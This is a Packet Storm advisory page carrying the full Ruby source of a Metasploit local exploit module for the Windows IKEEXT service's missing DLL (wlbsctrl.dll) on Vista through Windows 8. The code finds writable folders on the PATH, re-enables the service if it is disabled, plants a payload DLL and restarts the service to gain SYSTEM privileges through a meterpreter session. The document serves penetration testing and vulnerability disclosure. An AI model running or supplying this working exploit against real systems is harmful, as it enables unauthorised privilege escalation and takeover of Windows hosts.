IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL

2013-09-06T00:00:00
ID PACKETSTORM:123117
Type packetstorm
Reporter Ben Campbell
Modified 2013-09-06T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/services'  
require 'msf/core/post/windows/priv'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Services  
include Msf::Post::Windows::Accounts  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',  
'Description' => %q{  
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'  
(IKEEXT) service which runs as SYSTEM, and starts automatically in default  
installations of Vista-Win8.  
It requires an insecure bin path to plant the DLL payload.  
},  
'References' =>  
[  
['URL', 'https://www.htbridge.com/advisory/HTB23108'],  
['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']  
],  
'DisclosureDate' => "Oct 09 2012",  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ben Campbell <eat_meatballs@hotmail.co.uk>'  
],  
'Platform' => [ 'win'],  
'Targets' =>  
[  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]  
],  
'SessionTypes' => [ "meterpreter" ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'WfsDelay' => 5,  
'ReverseConnectRetries' => 255  
},  
'DefaultTarget' => 0  
))  
  
register_options([  
OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])  
])  
@service_name = 'IKEEXT'  
@load_lib_search_path = [ '%SystemRoot%\\System32',  
'%SystemRoot%\\System',  
'%SystemRoot%'  
]  
@non_existant_dirs = []  
end  
  
def check_service_exists?(service)  
srv_info = service_info(service)  
  
if srv_info.nil?  
print_warning("Unable to enumerate services.")  
return false  
end  
  
if srv_info && srv_info['Name'].empty?  
print_warning("Service #{service} does not exist.")  
return false  
else  
return true  
end  
end  
  
def check  
srv_info = service_info(@service_name)  
  
if !check_service_exists?(@service_name)  
return Exploit::CheckCode::Safe  
end  
  
vprint_status(srv_info.to_s)  
  
case srv_info['Startup']  
when 'Disabled'  
print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")  
return Exploit::CheckCode::Safe  
when 'Manual'  
print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")  
return Exploit::CheckCode::Safe  
when 'Auto'  
print_good("Service is set to Automatically start...")  
end  
  
if check_search_path  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Vulnerable  
end  
  
def check_search_path  
dll = 'wlbsctrl.dll'  
  
@load_lib_search_path.each do |path|  
dll_path = "#{expand_path(path)}\\#{dll}"  
  
if file_exist?(dll_path)  
print_warning("DLL already exists at #{dll_path}...")  
return true  
end  
end  
  
return false  
end  
  
def check_system_path  
print_status("Checking %PATH% folders for write access...")  
result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')  
  
if result.nil?  
print_error("Unable to retrieve %PATH% from registry.")  
return  
end  
  
paths = result.split(';')  
paths.append(@load_lib_search_path).flatten!.uniq!  
  
paths.each do |p|  
path = expand_path(p)  
if exist?(path)  
if check_write_access(path)  
return path  
end  
else  
# User may be able to create the path...  
print_status("Path #{path} does not exist...")  
@non_existant_dirs << path  
end  
end  
  
return nil  
end  
  
def check_write_access(path)  
perm = check_dir_perms(path, @token)  
if perm and perm.include?('W')  
print_good ("Write permissions in #{path} - #{perm}")  
return true  
elsif perm  
vprint_status ("Permissions for #{path} - #{perm}")  
else  
vprint_status ("No permissions for #{path}")  
end  
  
return false  
end  
  
def check_dirs  
print_status("Attempting to create a non-existant PATH dir to use.")  
@non_existant_dirs.each do |dir|  
begin  
client.fs.dir.mkdir(dir)  
if exist?(dir)  
register_file_for_cleanup(dir)  
return dir  
end  
rescue Rex::Post::Meterpreter::RequestError => e  
vprint_status("Unable to create dir: #{dir} - #{e}")  
end  
end  
  
return nil  
end  
  
def check_session_arch  
if sysinfo['Architecture'] =~ /x64/i  
if payload_instance.arch.first == 'x86'  
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")  
end  
else  
if payload_instance.arch.first =~ /64/i  
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")  
end  
end  
end  
  
def exploit  
check_session_arch  
  
begin  
@token = get_imperstoken  
rescue Rex::Post::Meterpreter::RequestError  
vprint_error("Error while using get_imperstoken: #{e}")  
end  
  
fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token  
  
if is_system?  
fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")  
end  
  
print_status("Checking service exists...")  
if !check_service_exists?(@service_name)  
fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")  
end  
  
if is_uac_enabled?  
print_warning("UAC is enabled, may get false negatives on writable folders.")  
end  
  
if datastore['DIR'].empty?  
# If DLL already exists in system folders, we dont want to overwrite by accident  
if check_search_path  
fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")  
end  
  
file_path = check_system_path  
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs  
  
if file_path.nil?  
fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")  
end  
else  
# Use manually selected Dir  
file_path = datastore['DIR']  
end  
  
@dll_file_path = "#{file_path}\\wlbsctrl.dll"  
  
service_information = service_info(@service_name)  
  
if service_information['Startup'] == 'Disabled'  
print_status("Service is disabled, attempting to enable...")  
service_change_startup(@service_name, 'auto')  
service_information = service_info(@service_name)  
  
# Still disabled  
if service_information['Startup'] == 'Disabled'  
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")  
end  
end  
  
# Check architecture  
dll = generate_payload_dll  
  
#  
# Drop the malicious executable into the path  
#  
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")  
begin  
write_file(@dll_file_path, dll)  
register_file_for_cleanup(@dll_file_path)  
rescue Rex::Post::Meterpreter::RequestError => e  
# Can't write the file, can't go on  
fail_with(Exploit::Failure::Unknown, e.message)  
end  
  
#  
# Run the service, let the Windows API do the rest  
#  
print_status("Launching service #{@service_name}...")  
  
begin  
status = service_start(@service_name)  
if status == 1  
print_status("Service already running, attempting to restart...")  
if service_stop(@service_name) == 0  
print_status("Service stopped, attempting to start...")  
if service_start(@service_name) == 0  
print_status("Service started...")  
else  
fail_with(Exploit::Failure::Unknown, "Unable to start service.")  
end  
else  
fail_with(Exploit::Failure::Unknown, "Unable to stop service")  
end  
elsif status == 0  
print_status("Service started...")  
end  
rescue RuntimeError => e  
raise e if e.kind_of? Msf::Exploit::Failed  
if service_information['Startup'] == 'Manual'  
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")  
else  
if job_id  
print_status("Unable to start service, handler running waiting for a reboot...")  
while(true)  
break if session_created?  
select(nil,nil,nil,1)  
end  
else  
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")  
end  
end  
end  
end  
  
end  
  
`